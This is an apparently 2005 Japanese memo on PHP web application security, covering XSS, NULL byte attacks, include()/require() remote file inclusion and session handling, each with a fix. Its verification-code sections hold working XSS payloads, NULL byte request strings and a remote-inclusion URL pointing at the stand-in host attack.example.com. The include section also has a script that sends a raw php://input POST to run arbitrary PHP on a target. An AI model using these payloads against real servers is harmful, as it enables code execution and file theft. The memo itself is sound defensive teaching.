PHP と Web アプリケーションのセキュリティについてのメモ

HOME | メモ一覧 | LastUpdate: 2005-07-17

説明

PHP は、Apache モジュールや、CGI、コマンドラインとして使用できるスクリプト言語です。このページでは、PHP や Web アプリケーションのセキュリティ問題についてまとめています。

Web アプリケーションのセキュリティ問題としては、以下の問題についてよく取り挙げられていると思いますが、これらのセキュリティ問題について調べたことやこれら以外でも、PHP に関連しているセキュリティ問題について知っていることについてメモしておきます。

また、PHP マニュアル : セキュリティや、PHP Security Guide (PHP Security Consortium) には、PHP で影響を受ける可能性のある多くのセキュリティ問題についての解説がありますので、必ず読むようにしてください。また、PHP についての解説は多くはありませんが、一般的なセキュリティ問題への対策として非常に参考になるセキュア・プログラミング講座という資料が IPA から公開されています。PHP を使用する場合、特に Web プログラマコースについて読むことをお勧めします。

もし、このページを見て、何か誤字、脱字、間違い、他にも載せた方が良い情報などがありましたら、メールで教えてください。

おそらく、ここでまとめたセキュリティ対策だけでは十分とは言えませんし、勉強不足のため、詳しく説明できていない範囲や不足、間違いなどもあると思いますが、参考になりましたら幸いです。

追加項目や変更点については、更新履歴を参照してください。


目次

  1. 説明
  2. クロスサイトスクリプティング
    1. クロスサイトスクリプティングについて
    2. 検証コード
    3. 対処方法
    4. 注意
    5. クロスサイトスクリプティング対策に strip_tags() を使用するときの注意
    6. 参考サイト
  3. NULL バイト攻撃(NULL Byte Attack)
    1. NULL バイト攻撃(NULL Byte Attack)について
    2. 検証コード
    3. 対処方法
    4. その他
    5. 参考サイト
  4. PHP の include(), require() 関連の問題について
    1. 概要
    2. 検証コード
    3. 対処方法
    4. 問題のあるディレクトリ・トラバーサル対策
    5. 参考サイト
  5. PHP でセッション変数、Cookie を使用する際のセキュリティ対策について
    1. セッション変数について
    2. PHP のセッション処理の動作
      1. セッションの開始
      2. セッションの終了
      3. セッションの有効期間
      4. ガーベージ・コレクション
    3. Cookie の secure 属性
    4. Cookie Path
    5. セッション ID の変更
    6. セッション・タイムアウトへの対処
    7. セッション関連の処理で注意すべきクロスサイトスクリプティング問題
    8. Session Fixation(セッション固定)
      1. Session Fixation を起こす方法
      2. 参考サイト
    9. 参考サイト
  6. ファイルアップロードについて
    1. PHP でのファイルアップロード処理
    2. PHP 4.3.8 以前に任意の場所にファイルをアップロードされる可能性がある問題
    3. PHP 4.1.1 以前のバージョンにファイルアップロード処理にセキュリティホールがある問題
  7. register_globals に関する問題
    1. register_globals について
    2. register_globals が On の環境でも Off と同様の状態にする方法
  8. PHP を使用していることを隠蔽する
    1. PHP を隠蔽する必要性
    2. PHP の設定
    3. Apache の設定
    4. 参考サイト
  9. PHP で報告されているバグ、セキュリティ問題
    1. 参考サイト
    2. Cross-site Scripting in PHP's Transparent Session ID Support
    3. PHP memory_limit remote vulnerability
    4. PHP strip_tags() bypass vulnerability
    5. PHP 4.3.2 の sprintf() や printf() にバグ
    6. PHP 4.3.0 から PHP 4.3.2 のセーフモードにバグ
    7. PHP 4.3.0 の CGI 版にバグ
  10. 参考サイト
  11. 更新履歴

クロスサイトスクリプティング

  1. クロスサイトスクリプティングについて
  2. 検証コード
  3. 対処方法
  4. 注意
  5. クロスサイトスクリプティング対策に strip_tags() を使用するときの注意
  6. 参考サイト

a. クロスサイトスクリプティングについて

クロスサイトスクリプティング(XSS と表記されることが多いようです)は、外部からの入力に Javascript などが含まれていた場合のエスケープ処理を行っていない時に起きる問題です。

実際の内容は複雑なのですが、悪意のあるユーザにより、ページ内に任意のスクリプトが埋め込まれ、それを表示した他のユーザのブラウザによって実行される Javascript により、ユーザのブラウザがクラッシュさせられたり、セッション ID を盗まれたり、他のサーバへの攻撃を行ったりすることが問題となります。

章の最初へ | 目次へ

b. 検証コード

PHP では、以下のように、GET や POST の変数を htmlspecialchars() や、strip_tags() によってエスケープ処理せずに、出力した場合に問題となります。

...

<form method="post" action="<?php echo $_SERVER['PHP_SELF'] ?>">
名前 : <input name="user" type="text" />
       <input type="submit" name="submit" value="投稿" />
</form>

<?php if ( ! empty( $_POST['user'] ) ) : ?>
<div> 名前 : <?php echo $_POST['user'] ?></div>
<?php endif ?>

...

試さない方が良いですが、テキストボックスに以下のような Javascript を入力すると、ブラウザがアラートボックスを出し続け、ユーザがブラウザの操作ができないようになります。

<script>while(1){ alert(); }</script>

他にも、現在の Cookie を取得して、別のサーバに渡すなどという非常に危険なコードを実行させることも可能です。これは、ショッピングサイトなどの個人情報を扱うサイトである場合、成りすましなどが行われる可能性があります。

ただし、最近のブラウザで、Mozilla や Opera など、簡単にクロスサイトスクリプティングが実行できないように対処されているブラウザもあります。

章の最初へ | 目次へ

c. 対処方法

PHP では、htmlspecialchars()strip_tags() という関数が用意されていますので、タグも表示したい場合は、htmlspecialchars() を、タグの部分は削除したい場合は strip_tags() を使用します。

個人的には、クロスサイトスクリプティング対策では strip_tags() よりも htmlspecialchars() を使用することをお勧めします。理由としては、""" や "&" は htmlspecialchars() によるエンティティ変換でエスケープできますが、strip_tags() では、タグの外に """ や "&" が含まれていた場合、そのまま出力することがあるからです。

<div> 名前 : <?php echo htmlspecialchars( $_POST['user'] ) ?></div>

配列に対してまとめて htmlspecialchars() を適用したい場合などは、以下のように array_map() を使用すると便利です。

$output_array = array_map( 'htmlspecialchars', $output_array );

セキュアプログラミング講座 第1章 セキュアWebプログラミング [1-2.]クロスサイトスクリプティングの、「サニタイジングのタイミングは HTML 生成時」の項によると、以上の処理はデータの入力時ではなく、HTML を出力する時に行わなければならないとされています。

クロスサイトスクリプティングの解説記事でよく説明される「入力データチェックを厳密に」という表現から,図3の(1)フォーム受付時のタイミングでサニタイジングを行うのかと思いがちである。サニタイジングは(2)HTML生成時のタイミングで行うべきである。次章「クロスサイトスクリプティング対策の詳細」で説明するが,データを埋め込むHTML中の文脈に合わせて適切なサニタイジング手法を選択する必要があるからである。また掲示板の例では,将来的にデータベースへの記事の書き込み手段として,メールによる投稿が導入された場合でも,(2)HTML生成時のタイミングでサニタイジングしていれば,なんら手を加えることなく,いろんな入力源から入り込んでくるデータを漏れなくサニタイジングできる。また,同じデータに誤って2回以上サニタイジングしてデータの意味が変わってしまうという設計上のトラブルも防げる。

このようにサニタイジングのタイミングは(1)フォーム受付時ではなく,(2)HTML生成時でなければならない。参考文献『Understanding Malicious Content Mitigation for Web Developers』でもHTML生成時のサニタイジングを推奨している。

章の最初へ | 目次へ

d. 注意

以下のようなことを行った場合、上記の対策では不十分になります。

他にも、PHP 4.3.1 以前のバージョンに存在するクロスサイトスクリプティング問題があります。

詳しくは、Cross-site Scripting in PHP's Transparent Session ID Support(2004.06.08 の過去ログ)にまとめていますが、PHP 4.3.1 以前のバージョンでは、透過的なセッションID(Trans SID) を有効にしていたり、phpinfo() による情報表示を許可していた場合、クロスサイトスクリプティングの問題が存在します。これは PHP スクリプト側では対処できないため、php.ini で設定を変更するか、PHP 4.3.1 以前のバージョンを使用しないという対処方法しかありません。

章の最初へ | 目次へ

e. クロスサイトスクリプティング対策に strip_tags() を使用するときの注意

PHP マニュアルの セッション処理関数(session) の例 5 で、以下のように書かれているのを見て気が付いたのですが、以下の処理はクロスサイトスクリプティング対策になりません。

例 5. 単一のユーザーに関するヒット数を数える

<?php
if (!session_is_registered('count')) {
    session_register('count');
    $count = 1;
} else {
    $count++;
}
?>

こんにちは、あなたがこのページに来たのは<?php echo $count; ?>回目ですね。 <p>

続けるには、<A HREF="nextpage.php?<?php echo strip_tags (SID)?>">ここをクリック</A>して下さい。

XSS に関係する攻撃を防止するために SID を出力する際に、strip_tags()を使用します。

以下の部分ですが、SID には、任意の文字列が入る可能性があるため、クロスサイトスクリプティング対策を行う必要があるのですが、strip_tags() はダブルコーテーションを削除しないため、エスケープ処理を回避することが可能です。

<A HREF="nextpage.php?<?php echo strip_tags (SID)?>">

例えば、SID に以下の文字列が入っていた場合、Javascript の実行は可能です。

" onmouseover="alert();

この例では、タグは以下のようになり、リンクの上にマウスを置くと、Javascript が実行されます。

<A HREF="nextpage.php?" onmouseover="alert();">

ブラウザからのリクエストを行う際には、以下のように指定することになります。

http://www.example.com/session.php?PHPSESSID="%20onmouseover="alert();"

これに対処するのは簡単で、strip_tags() ではなく、htmlspecialchars() を使用します。

<A HREF="nextpage.php?<?php echo htmlspecialchars(SID) ?>">

タグは以下のようになり、Javascript は実行されません。

<A HREF="nextpage.php?&quot; onmouseover=&quot;alert();&quot;">

少なくとも、タグの内部でクロスサイトスクリプティングへの対策を行う場合は、htmlspecialchars() を使用してください。

章の最初へ | 目次へ

f. 参考サイト

章の最初へ | 目次へ

▲ 目次へ


NULL バイト攻撃(NULL Byte Attack)

  1. NULL バイト攻撃(NULL Byte Attack)について
  2. 検証コード
  3. 対処方法
  4. その他
  5. 参考サイト

a. NULL バイト攻撃(NULL Byte Attack)について

NULL バイト("\x00" や "\0" として表される C 言語では終端文字されている文字列) による影響により、誤動作の原因となる問題です。

PHP に限りませんが、変数にバイナリデータが含まれている場合でも、正しく処理できるバイナリセーフの関数とバイナリデータが含まれていた場合、正しく処理できない可能性があるバイナリセーフでない関数があります。バイナリセーフでない関数は NULL バイトが含まれていた場合、文字列の終了とみなしてしまうため、NULL バイトの後ろにデータがあった場合でも処理を終了してしまいます。これにより、スクリプトで意図していなかった動作となる可能性があります。

詳しくは次の検証コードで説明しますが、NULL バイトの問題は影響を受ける関数が多く、様々な問題を引き起こす可能性があります。チェックを行わない場合を除くと、以下の条件に当てはまった場合、意図していなかった動作となる可能性が高くなります。

  1. バイナリセーフの関数で入力チェックを行い、バイナリセーフでない関数を使用した処理を行った場合

  2. バイナリセーフでない関数で入力チェックを行い、バイナリセーフの関数を使用した処理を行った場合

バイナリセーフでない関数の例として、引数のファイル名に NULL バイトが含まれていると NULL バイトまでの部分をファイル名として認識する関数や制御構造には、以下のものがあります(おそらく、これら以外にもあると思います)。

以下の POSIX 互換の正規表現関数も NULL バイトが含まれている文字列を正しく処理できませんので、気をつける必要があります。

また、途中でバイナリセーフに変更された関数や制御構造もあります。詳しくは、PHP 4 ChangeLog を binary safe というキーワードで検索してみると、他にもいくつか見つかります。これらの関数は、PHP のバージョンによって NULL バイトの扱いを気にする必要があるかもしれません。

章の最初へ | 目次へ

b. 検証コード

  1. バイナリセーフの関数で入力チェックを行い、バイナリセーフでない関数を使用した処理を行った場合の問題

    PHP-users メーリングリストに以下の例が投稿されていました([PHP-users 12736] null byte attack)

    <?php
    // ファイル名: null_byte.php
    // 攻撃例: http://example.com/null_byte.php?filename=null_byte.php%00myext
    // 上記の攻撃例では意図していないスクリプトソースが表示される
    
    echo '<pre>';
    
    // 専用の拡張子のファイルのみ開く(つもり)
    if (preg_match('/myext$/', $_GET['filename'])) {
      // eregはバイナリセーフではないので、\0で文字列の終り
      // とみなします。eregを使っている場合はnull byte attackは
      // 不可
      readfile($_GET['filename']);
    }
    else {
      echo "bad file\n";
    }
    ?>
    

    このスクリプトの意図としては、指定されたファイル名が myext という拡張子だった場合、指定されたファイルを表示するというものですが、任意のファイルを表示させることが可能になっています。この例では、自分自身(null_byte.php)を表示してしまいます。

    問題は、preg_match() はバイナリセーフであるため、以下の部分で TRUE を返すのですが、

    if ( preg_match( '/myext$/', "null_byte.php\0myext" ) ) {
        ...
    }
    

    readfile() はバイナリセーフでないため、NULL バイト以前までが有効となり、

    readfile( "null_byte.php\0myext" );    // "\0" は NULL バイト

    以下の命令を実行するのと同じ結果になってしまいます。

    readfile( "null_byte.php" );

    この問題を解決する方法として、preg_match() の代わりに、ereg() を使用する方法が挙げられています。以下のように ereg() を使用した場合、if 文の結果は FALSE になりますので、問題は起こりません。

    if ( ereg( 'myext$', "null_byte.php\0myext" ) ) {
        ...
    }

    または、preg_match() で省略せずに、文字列の先頭から不正な文字列が含まれていないかチェックするという方法もあります。NULL バイトが含まれていないことを保証するため、許可する文字を限定する必要があります(任意の文字である "." を使用すると意味がなくなります)。例として、preg_match() を使用していても、以下のようにすれば if 文は FALSE を返します。

    if ( preg_match( '/^\w+\.myext$/', "null_byte.php\0myext" ) ) {
        ...
    }
    
  2. バイナリセーフでない関数で入力チェックを行い、バイナリセーフの関数を使用した処理を行った場合

    例えば、以下のような例が考えられます。実際には POST を使用してフォームを送信すると思いますが、分かりやすさのために GET を使用しています。

    <?php
    $file = '/tmp/test.txt';
    if ( $_GET ) {
        $name = ereg_replace( "\t|\n", " ", $_GET['name'] );
        if ( ereg( "^[0-9]{3}-[0-9]{4}$", $_GET['zip'] ) ) {
            $fp = fopen( $file, is_file( $file ) ? "a" : "w" );
            fwrite( $fp, $name . "\t" . $_GET['zip'] . "\n" );
            fclose( $fp );
        }
        else {
            echo '不正なデータです。';
        }
    }
    ?>
    <form method="get" action="<?php echo $_SERVER["PHP_SELF"] ?>">
        名前 : <input type="textbox" name="name" />
    郵便番号 : <input type="textbox" name="zip" />
    <input type="submit" value="送信">
    </form>
    <pre>
    <?php
    $data = is_file( $file ) ? file( $file ) : exit( 'データがありません' );
    foreach ( $data as $line ) {
        list( $name, $zip ) = explode( "\t", $line );
        echo $name . ":" . $zip;
    }
    ?>
    </pre>
    

    このスクリプトは、名前と郵便番号をタブ区切りでチェックを通過したデータをファイルに追加していくだけのものです。

    チェック関数として、ereg_replace()ereg() を使用していますが、これらの関数はバイナリセーフではないため、以下のような URI が入力された場合、2人分のデータの入力が可能になり、2人目以降はデータのチェックが行われないことになります("%00" は NULL バイト、"%0A" は改行コード、"%09" はタブです)。

    http://example.com/input.php?name=test1&zip=000-0000%00%0Atest2%09zipcode

    ereg() 関数でチェックを行う部分は以下の処理を行うことになり、ereg() では、NULL バイトまでしか認識しないため、この部分は TRUE になって、ファイルへの追記が行われます。

    if ( ereg( "^[0-9]{3}-[0-9]{4}$", "000-0000\x00\x0Atest2\x09zipcode" ) ) {

    データファイルは以下のようになります。"\t" はタブ、"\0" は NULL バイトです。NULL バイト入っていますが、次の行にデータが追加できてしまっていることが分かります。

    test1\t000-0000\0
    test2\tzipcode
    

    この場合、バイナリセーフでない ereg 系の関数では NULL バイトを扱えないため、バイナリセーフである、preg 系の関数を使用して、問題を回避する必要があります。

    該当部分(4,5行目)を以下のように preg 系の関数を使用するように修正すれば、この問題は回避できます。

        $name = preg_replace( "/\t|\n/", " ", $_GET['name'] );
        if ( preg_match( "/^[0-9]{3}-[0-9]{4}$/", $_GET['zip'] ) ) {
    

章の最初へ | 目次へ

c. 対処方法

NULL バイトの問題は非常に複雑であるため、個別に対処するには、全ての関数についてバイナリセーフであるかどうかを調べる必要があり、非常に手間が掛かりますが、もし、外部からの入力が文字列で、テキストデータであることが分かっているのであれば、NULL バイトを全て取り除くという方法にすれば非常に簡単に対処できます。

$_POST, $_GET, $_COOKIE については、基本的に文字列のテキストデータが入っていますので、以下の関数が使用できます。スクリプトの最初で適用すれば、これらの適用した変数で NULL バイトの問題を気にする必要がなくなります。ただし、バイナリデータが含まれる変数に使用した場合、データが破壊される可能性がありますので、気をつけてください。

また、日本語でよく使用される文字コードセットである、EUC-JP、Shift-JIS、ISO-2022-JP、UTF-8 では、NULL バイトが文字に含まれることは無いはずですが、それ以外の文字コードセットでは NULL バイトが含まれる可能性がありますので、その場合は NULL バイトが含まれないことを確認してから使用してください。もう一つの注意として、この関数を適用したそれぞれの配列の変数は文字列になってしまいますので、型を気にする必要がある場合は型に応じて適当に修正する必要があります。

function sanitize( $arr )
{
    if ( is_array( $arr ) ) {
        return array_map( 'sanitize', $arr );
    }
    return str_replace( "\0", "", $arr );
}

$_GET    = sanitize( $_GET );
$_POST   = sanitize( $_POST );
$_COOKIE = sanitize( $_COOKIE );

個人的には、入力チェックに正規表現を使用する場合は、ereg 系の POSIX 互換の正規表現関数は使用せずに、preg で始まる Perl 互換の正規表現関数か、mb_ereg で始まるマルチバイト正規表現関数を使用した方が安全であると思います。ただし、上の1番目の例にもあるように、NULL バイトが含まれている可能性を考慮すると、文字列の最終部分だけでなく、先頭から文字列全体をチェックするようにする必要があります。

また、正規表現による文字列のチェックだけではなく、読み込むファイルを外部の入力データから決定するのであれば、is_file() や、basename() などを組み合わせて、確実に意図しているディレクトリからファイルを読み込むようにしておくと安全です。

章の最初へ | 目次へ

d. その他

Null Byte Attack の定義についてはよく知らないのですが、NULL バイトに関連する PHP のセキュリティ問題として報告されているものがいくつかあります。

章の最初へ | 目次へ

e. 参考サイト

章の最初へ | 目次へ

▲ 目次へ


PHP の include(), require() 関連の問題について

  1. 概要
  2. 検証コード
  3. 対処方法
  4. 問題のあるディレクトリ・トラバーサル対策
  5. 参考サイト

a. 概要

PHP の include(), include_once(), require(), require_once() は、外部ファイルを読み込み、評価する制御構造ですが、これらに渡す引数に http://...ftp://... などの URI を渡すことも可能です。外部からファイルが PHP スクリプトだった場合、そのスクリプトを実行してしまいますので、include()require() に渡す引数には注意が必要です。

PHP では、include_path を設定し、GET 変数や POST 変数などの引数により読み込むファイルを切り替えるという方法がよく使われていると思いますが、ユーザからの入力チェックを正しく行わないと、外部から任意のスクリプトが実行されてしまう可能性があります。

また、allow_url_fopenOFF に設定することで include(), require(), fopen などによる外部サーバへの接続を禁止することも可能ですが、allow_url_fopenOFF にしていても、任意のスクリプトを実行させる方法もありますので、十分な入力チェックを行い、include()require() に想定していない文字列が渡るようなことがないようにしてください。

章の最初へ | 目次へ

b. 検証コード

以下のように、外部のサーバに実行したい PHP スクリプトを準備します。例えば、http://attack.example.com/exec.txt に、以下の内容が書かれていたとします。

<?php phpinfo() ?>

また、攻撃対象のサーバ(http://www.example.com/index.php)で以下のようなスクリプトが設置されていたとします。

<?php
include( $_GET['file'] );
?>

ブラウザから以下のようなリクエストを行うと、攻撃対象のサーバで http://attack.example.com/exec.txt で書かれているコードが実行されます。

http://www.example.com/index.php?file=http://attack.example.com/exec.txt

また、include()require() では、NULL バイトの影響を受けますので、以下のように、指定された拡張子のファイルを読み込むことを想定していた場合でも、

<?php
include( $_GET['file'] . '.dat');
?>

次のような NULL バイトの指定を含んだリクエストを受けると、外部のコードを実行することが可能になってしまいます。

http://www.example.com/index.php?file=http://attack.example.com/exec.txt%00

以上の問題は、allow_url_fopenOFF になっていた場合、外部サーバにある PHP スクリプトを実行することはできませんが、/etc/passwd など、ローカルファイルにある重要なファイルを読み込んで表示してしまう可能性があります。include()require() に渡す引数は十分な入力チェックを行ってください。

また、include()require() の引数に php://input を渡されると、POST の内容を PHP スクリプトとして実行してしまう機能もあります。これは、[PHP] include() bypassing filter with php://input (2004.05.30 の過去ログ)でまとめていますが、外部にサーバを用意しなくても任意のスクリプトを実行されてしまうという問題があります。必ず、php://inputinclude()require() の引数として渡らないようにチェックを行ってください。

php://input によって、POST の内容が PHP スクリプトとして実行されてしまうという機能は 2004.10.11 時点の最新版である、PHP 4.3.9 や PHP 5.0.2 でも変更されていません。

検証コードは以下のようになります。

<?php
if ( isset( $_GET['include'] ) ) {
    include( $_GET['include'] . '.php' );
    exit;
}
?>
<form action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post">
<div>target server : <input type="text" name="server" value="127.0.0.1" /></div>
<div>file : <input type="text" name="file" value="<?php echo $_SERVER['PHP_SELF'] ?>?include=" /></div>
<div>exec : <input type="text" name="cmd" value="<?php echo '<?php phpinfo() ?>' ?>" /></div>
<input type="submit" value="send" />
</form>
<?php
if ( $_POST ) {
    $file   = ! empty( $_POST['file'] )   ? $_POST['file']   : '';
    $server = ! empty( $_POST['server'] ) ? $_POST['server'] : '';
    $cmd    = ! empty( $_POST['cmd'] )    ? $_POST['cmd']    : '';

    $message  = "POST " . $file . "php://input%00 HTTP/1.1\r\n";
    $message .= "Host: " . $server . "\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "Content-length: " . strlen( $cmd ) . "\r\n";
    $message .= "\r\n";
    $message .= $cmd . "\r\n";

    $fp = fsockopen( $server, 80 );
    fputs( $fp, $message );
    while ( ! feof( $fp ) ) { echo fgets( $fp ); }
    fclose( $fp );
}
?>

章の最初へ | 目次へ

c. 対処方法

以下のような入力チェックを行い、想定外の入力を受け付けないようにしてください。以下の内容を組み合わせてチェックするとより安全性が高くなると思います。

他にもいろいろな対処方法が考えられます。必要と考えられるチェックを行ってから変数を使用してください。

章の最初へ | 目次へ

d. 問題のあるディレクトリ・トラバーサル対策

章の最初へ | 目次へ

e. 参考サイト

章の最初へ | 目次へ

▲ 目次へ


PHP でセッション変数、Cookie を使用する際のセキュリティ対策について

  1. セッション変数について
  2. PHP のセッション処理の動作
    1. セッションの開始
    2. セッションの終了
    3. セッションの有効期間
    4. ガーベージ・コレクション
  3. Cookie の secure 属性
  4. Cookie Path
  5. セッション ID の変更
  6. セッション・タイムアウトへの対処
  7. セッション関連の処理で注意すべきクロスサイトスクリプティング問題
  8. Session Fixation(セッション固定)
    1. Session Fixation を起こす方法
    2. 参考サイト
  9. 参考サイト

a. セッション変数について

Web ページ間でデータを受け渡しを行う方法として、フォームの hidden フィールドや Cookie、セッション変数などが使用可能ですが、重要なデータの受け渡しを行う場合、セッション変数を使用することが当然となっています。

セッション変数は、Cookie や、GET 変数、POST 変数にセッション ID と呼ばれる、推測しにくい文字列をクライアントに保存し、ユーザからの送信された情報はサーバ側で保存します。これにより、他のユーザに重要なデータを参照されたり、改ざんされたりする可能性を低くすることができます。

セッションを使用する時のセキュリティ的な問題点としては、セッション ID を他のユーザに盗まれるセッションハイジャックという問題があります。セッション ID は、ブラウザのバグや、クロスサイトスクリプティングによって他のユーザに盗まれる可能性があります。Web アプリケーションを作成する場合には、簡単にセッション ID を盗まれないようにできる限りの対策を行う必要があります。

章の最初へ | 目次へ

b. PHP のセッション処理の動作

セッションについては、基本的にPHP マニュアル : セッション処理関数(session) を参照してください。セッション変数を使用する際の PHP の動作について十分理解しておいた方が良いと思いますので、あまり PHP マニュアルで触れられていない部分と重要だと思われる部分についてまとめてみました。

PHP でのセッション処理はバージョンによって少し違いがありますので注意してください。また、session_set_save_handler() を使用して、独自のセッション処理を行う場合は参考にならない部分があります。ここでは、PHP 4.3.9 で確認した動作についてまとめておきます。

i. セッションの開始

PHP でセッション変数を使用する場合、session_start() 関数を呼び出す必要があります。もし、php.ini でsession.auto_start"1" に設定した場合、自動的にセッションが開始されますので session_start() を呼び出す必要はありません。

セッションの開始時には、以下の処理が行われます。

スクリプトの終了時には以下の処理が行われます。

セッション変数を保存する領域は、以下の設定によって決定されます。デフォルトでは、/tmp に sess_dbfca507eb62b716bc2b8296159ccb15 (sess_ と セッション ID)のようなファイルが作成されます。

セッション ID は Cookie -> GET -> POST の順で session.name(デフォルトでは "PHPSESSID") で指定されたキーを検索します。例えば、Cookie($_COOKIE['PHPSESSID']) と GET 変数($_GET['PHPSESSID'])に別のセッション ID が指定されていた場合、Cookie のセッション ID が優先されます。

また、PHP 4.3.0 から導入された session.use_only_cookies"1" に設定すると、セッション ID として Cookie のみを確認するようになります。これは、PHP マニュアルでは、セッション ID を URL に埋め込む攻撃を防ぐためとされています(セッション処理関数(session) session.use_only_cookies)。ただし、この設定を行うと、session.use_trans_sid の機能は無意味になりますので、気を付けてください。

GET にセッション ID を含めることの問題点については、PHP マニュアルで以下のように解説されています(セッション処理関数(session) session.use_trans_sid)。

URL に基づくセッション管理は、Cookieに基づくセッション管理と比べてセキュリティリスクが大きくなります。例えば、ユーザは、emailにより友人にアクティブなセッションIDを含むURLを送信する可能性があり、また、ユーザは自分のブックマークにセッションIDを含むURLを保存し、常に同じセッションIDで使用するサイトにアクセスする可能性があります。

最後に、session.use_trans_sid についてですが、PHP 4.3.1 以下のバーションでは、セッション ID にタグを含めるとクロスサイトスクリプティングが可能になってしまう問題が報告されていますので、PHP 4.3.1 以下では、session.use_trans_sid を有効にしないでください。

ii. セッションの終了

明確にセッションが終了したと判定することは難しいですが、ユーザがセッションの終了を宣言(例えば、ログアウトするなど)した場合は、session_destroy() 関数を呼び出すことで、サーバに保存されたセッション情報が破棄されます。

PHP マニュアル : session_destroy() によると、セッションに関するグローバル変数や、セッション Cookie は破棄しないとされています。実際に、session_destroy() が呼び出された後も、同じセッション ID が継続して使用されます。

また、session.save_handler にデフォルトの "files" が指定されていた場合、ガーベージ・コレクションによって削除されるまでセッション情報のファイルは空のままで残ったままになります。もし、セッションが破棄された時に削除したい場合は、以下のようにすれば削除可能です。

$session_id = session_id();
if ( preg_match( '/^[0-9a-f]{32}$/', $session_id ) ) {
    $session_file = session_save_path() . '/sess_' . $session_id;
    if ( is_file( $session_file ) ) {
        unlink( $session_file );
    }
}

session_id() の返り値は外部からの入力により改ざん可能ですので、session_id() の値が期待通りかどうかを確認してから使用してください。詳しくは、セッション関連の処理で注意すべきクロスサイトスクリプティング問題を参照してください。

iii. セッションの有効期間

session.save_handler"files" になっている場合、セッションの有効期間はガーベージ・コレクションによって、保存されているセッション情報のファイルが削除されるまでが有効期間になります。ガーベージ・コレクションが起動せず、セッションのファイルが残っている場合は、経過時間に関係なくセッションは有効になったままになります。

確率は低いですが、session.gc_maxlifetime で設定された秒数を過ぎたセッションを読み込み、同時にガーベージ・コレクションが起動した場合、そのアクセスでのセッションは継続しますが、次のアクセスではセッション切れになります。

iv. ガーベージ・コレクション

ガーベージ・コレクションは、session.gc_maxlifetime (デフォルト: 1440秒)で設定した秒数を過ぎたセッション情報のファイルを削除する処理を行います。この処理は、セッション開始時に session.gc_probability (デフォルト: 1) を session.gc_divisor (デフォルト: 100)で割った確率で起動します。

php.ini で特に設定していない場合は、100 分の 1 の確率でガーベージ・コレクションが起動します。また、PHP 4.3.9 の php.ini-recommended をコピーして、php.ini として使用した場合、1000 分の 1 に設定されています。

章の最初へ | 目次へ

重要な個人情報などを扱う場合、SSL を使用した https 接続を行うことで、通信内容を暗号化することができますが、通常は http 接続を行い、個人情報を入力するときのみ、https 接続による暗号化を行っているサイトが多いと思います。

このようなサイトで、https 接続と http 接続で同じセッション ID を使用していては、通信内容を暗号化している意味がありません。また、暗号化されていない http の通信でセッション ID を盗聴されてしまった場合、なりすましによって個人情報を読みとられてしまう可能性もあります。

この問題については、Cookie盗聴によるWebアプリケーションハイジャックの危険性とその対策(SecurIT - 産業技術総合研究所 セキュアプログラミング研究チーム) や、経路のセキュリティと同時にセキュアなセッション管理を(IPA)で詳しい説明があります。

この問題を回避するために、https で接続する際には Cookie には secure 属性を付けて Cookie を発行します。PHP では、バージョン 4.0.4 から Cookie の secure 属性を付けることができるようになっています。

以下のように、Cookie の secure 属性を付けるにはいくつか方法があります。

セッション ID に関しては、既に発行されている Cookie の secure 属性を変更することはできません。もし、その必要があるのであれば、セッション ID を変更し、secure 属性付きで Cookie を再発行する必要があります。PHP では、4.3.2 以降で導入された session_regenerate_id() を使用することでセッション ID を変更することができます。セッション ID の変更方法については セッション ID の変更で詳しく説明します。

章の最初へ | 目次へ

Cookie には Path を設定することができます。Cookie Path は、共用サーバでは必ず設定してください。

例えば、Cookie Path を設定することで、

http://www.example.com/user1/

と、

http://www.example.com/user2/

で、別のセッション ID を使用することが可能です。Cookie Path を設定するには、session_set_cookie_params() の第2引数で Path を指定し、その後、session_start() を呼び出します。

session_set_cookie_params( 1000, '/user1/' );
session_start();

Cookie Path の最後のスラッシュは忘れずに付けてください。ブラウザはディレクトリパスと前から一致した Cookie を送信することになっていますので、/user1 と設定すると、/user10 でも /user1 の Cookie が送信されることになってしまいます。

もし、Cookie Path を指定しない、または / のみになっていた場合、Cookie を発行したドメインの全てのディレクトリで同じ Cookie を送信することになります。このため、共用サーバで、同じドメイン(ここでは www.example.com)を複数のユーザが共用していた場合、他人が管理している CGI に対してもセッション ID を送信してしまう可能性が高くなるということです。

他人が管理している CGI で Cookie の内容を記録していたとすると、リンクや掲示板への書き込みなどで、Cookie を記録する CGI に誘導することができれば、Javascript などを利用しなくても簡単にセッション ID を盗聴することができます。

ただ、残念なことに、Cookie Path を正しく設定しても、一部のブラウザでは少し細工をするだけで Cookie Path の設定を回避することができます。詳しくは、Multiple Browser Cookie Path Directory Traversal Vulnerability(2004.03.14 の過去ログ)にまとめていますので、そちらを参照してください。

Cookie Path の問題は、独自ドメインを取得し、ドメインの全てのディレクトリを管理している状態であれば、あまり気にする必要はありません。反対に、ドメインを共用する場合、セッションの盗聴を防ぐのは非常に難しいです。重要なデータをセッションによって管理する必要がある場合には、最低でも独自ドメインを取得すべきであると思います。

章の最初へ | 目次へ

e. セッション ID の変更

http 通信では、Cookie も暗号化されずにネットワークを流れるため、同じセッション ID を長時間使い続けると、他人に読み取られたり、盗聴されたりする危険性が高くなります。定期的にセッション ID を変更ことでその危険性を低くすることができます。

また、e コマースサイトなどのように、http 通信で入力したセッション情報を保持したまま https に移行したいということもあるかもしれません。Cookie の secure 属性を付けて発行する場合、http 通信と同じセッション ID は使用できませんので、セッション ID を変更する必要があります。

PHP 4.3.2 以降であれば、session_regenerate_id() を使用することでセッション ID を変更することができます。使い方は、以下のように session_start() の後に呼び出すだけです。

session_start();
session_regenerate_id();

PHP 4.3.2 でセッション ID の管理に Cookie を使用している場合は、変更されたセッション ID が送信されないというバグが報告されていますので、PHP 4.3.2 を使用している場合は気を付けてください([PHP-users 20127]Re: session_regenerate_idについて,PHP マニュアル: session_regenerate_id() 例1の注意)。

PHP 4.3.1 以下でも session_regenerate_id() を使用するための代替関数が、PHP マニュアル: session_regenerate_id() の User Contributed Notes や、PHP-users メーリングリストの [PHP-users 17602]Re: session_regenerate_id()の挙動についてに投稿されています。

また、session_regenerate_id() は、一つ前に使用していたセッション情報を削除しないことに注意してください。session_regenerate_id() は、新しく別の領域にセッション情報を保存しますが、前のデータを削除しないため、古いセッション情報は残ったままになります。古いセッション情報は、使用可能な状態になっていますので、単純に session_regenerate_id() を呼び出せば良いというものではありません。必要に応じて以下のような対策を行ってください。

  1. 古いセッション情報を明示的に削除

